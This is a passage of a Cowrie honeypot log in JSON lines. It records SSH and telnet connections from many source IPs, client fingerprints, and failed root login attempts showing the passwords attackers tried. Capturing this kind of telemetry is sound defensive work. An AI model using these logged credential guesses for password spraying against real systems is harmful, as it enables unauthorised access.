{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:43:06.216318Z","src_ip":"87.251.79.125","session":"1420d6ac5dd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25021977","message":"login attempt [root/25021977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:43:06.423898Z","src_ip":"87.251.79.125","session":"1420d6ac5dd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:43:07.494177Z","src_ip":"87.251.79.125","session":"1420d6ac5dd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.220.174","src_port":36630,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a69e1000de7","protocol":"ssh","message":"New connection: 108.179.220.174:36630 (10.17.0.5:22) [session: 6a69e1000de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:43:09.147134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:43:09.151113Z","src_ip":"108.179.220.174","session":"6a69e1000de7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:43:09.181060Z","src_ip":"108.179.220.174","session":"6a69e1000de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blast123","message":"login attempt [root/blast123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:43:09.264923Z","src_ip":"108.179.220.174","session":"6a69e1000de7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48988,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fdb2c2e0bcc","protocol":"telnet","message":"New connection: 170.64.224.25:48988 (159.203.135.109:23) [session: 8fdb2c2e0bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:43:10.265633Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:43:10.294280Z","src_ip":"108.179.220.174","session":"6a69e1000de7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.26140356063843,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:43:25.946240Z","src_ip":"170.64.224.25","session":"200a8f381055","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48994,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdc6b11bba11","protocol":"telnet","message":"New connection: 170.64.224.25:48994 (159.203.135.109:23) [session: bdc6b11bba11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:43:26.392342Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46366,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b20073d4d05","protocol":"telnet","message":"New connection: 170.64.224.25:46366 (159.203.135.109:23) [session: 6b20073d4d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:43:26.604802Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39650,"dst_ip":"159.203.135.109","dst_port":23,"session":"46d7421b69a0","protocol":"telnet","message":"New connection: 170.64.224.25:39650 (159.203.135.109:23) [session: 46d7421b69a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:43:42.998953Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.61.95","src_port":39894,"dst_ip":"10.17.0.5","dst_port":22,"session":"6eb473e82cc8","protocol":"ssh","message":"New connection: 162.144.61.95:39894 (10.17.0.5:22) [session: 6eb473e82cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:43:58.270031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:43:58.273761Z","src_ip":"162.144.61.95","session":"6eb473e82cc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:43:58.365272Z","src_ip":"162.144.61.95","session":"6eb473e82cc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jaxx456","message":"login attempt [root/jaxx456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:43:58.633476Z","src_ip":"162.144.61.95","session":"6eb473e82cc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:43:59.725492Z","src_ip":"162.144.61.95","session":"6eb473e82cc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.163.5.228","src_port":38016,"dst_ip":"159.203.135.109","dst_port":22,"session":"97fb704b81f7","protocol":"ssh","message":"New connection: 221.163.5.228:38016 (159.203.135.109:22) [session: 97fb704b81f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:43:59.811372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:43:59.817386Z","src_ip":"221.163.5.228","session":"97fb704b81f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3cb24313ef7969100a7527f11b569cd4","hasshAlgorithms":"diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,ext-info-c;3des-cbc,aes128-cbc,aes128-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3cb24313ef7969100a7527f11b569cd4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:00.013999Z","src_ip":"221.163.5.228","session":"97fb704b81f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hp123!@#","message":"login attempt [root/hp123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:00.835392Z","src_ip":"221.163.5.228","session":"97fb704b81f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:02.035596Z","src_ip":"221.163.5.228","session":"97fb704b81f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42772,"dst_ip":"159.203.135.109","dst_port":23,"session":"251258549794","protocol":"telnet","message":"New connection: 170.64.224.25:42772 (159.203.135.109:23) [session: 251258549794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:11.296611Z"}
{"eventid":"cowrie.session.closed","duration":62.405338525772095,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:12.670835Z","src_ip":"170.64.224.25","session":"8fdb2c2e0bcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.45649719238281,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:22.061135Z","src_ip":"170.64.224.25","session":"6b20073d4d05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":36066,"dst_ip":"10.17.0.5","dst_port":22,"session":"4366d52a7430","protocol":"ssh","message":"New connection: 103.122.221.179:36066 (10.17.0.5:22) [session: 4366d52a7430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:25.100249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:25.104826Z","src_ip":"103.122.221.179","session":"4366d52a7430","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:25.349722Z","src_ip":"103.122.221.179","session":"4366d52a7430","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16011993","message":"login attempt [root/16011993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:26.086506Z","src_ip":"103.122.221.179","session":"4366d52a7430","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:27.332964Z","src_ip":"103.122.221.179","session":"4366d52a7430","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.141.65","src_port":57810,"dst_ip":"10.17.0.5","dst_port":22,"session":"0101ca5682af","protocol":"ssh","message":"New connection: 173.236.141.65:57810 (10.17.0.5:22) [session: 0101ca5682af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:33.706323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:33.710356Z","src_ip":"173.236.141.65","session":"0101ca5682af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:33.720742Z","src_ip":"173.236.141.65","session":"0101ca5682af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@#$%^","message":"login attempt [root/admin@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:33.754557Z","src_ip":"173.236.141.65","session":"0101ca5682af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:34.766744Z","src_ip":"173.236.141.65","session":"0101ca5682af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.218.9.86","src_port":45888,"dst_ip":"159.203.135.109","dst_port":22,"session":"6850dd7b61f2","protocol":"ssh","message":"New connection: 181.218.9.86:45888 (159.203.135.109:22) [session: 6850dd7b61f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:36.532284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:36.538138Z","src_ip":"181.218.9.86","session":"6850dd7b61f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:36.690825Z","src_ip":"181.218.9.86","session":"6850dd7b61f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dove123","message":"login attempt [root/dove123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:37.748658Z","src_ip":"181.218.9.86","session":"6850dd7b61f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:38.897585Z","src_ip":"181.218.9.86","session":"6850dd7b61f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.723050594329834,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:46.721867Z","src_ip":"170.64.224.25","session":"46d7421b69a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.86188364028931,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:44:49.158362Z","src_ip":"170.64.224.25","session":"251258549794","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":49258,"dst_ip":"159.203.135.109","dst_port":23,"session":"4838c7b4d763","protocol":"telnet","message":"New connection: 143.198.154.150:49258 (159.203.135.109:23) [session: 4838c7b4d763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:45:05.701644Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.179.34","src_port":38308,"dst_ip":"10.17.0.5","dst_port":22,"session":"b16344422671","protocol":"ssh","message":"New connection: 20.228.179.34:38308 (10.17.0.5:22) [session: b16344422671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:45:06.758628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:45:06.767121Z","src_ip":"20.228.179.34","session":"b16344422671","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-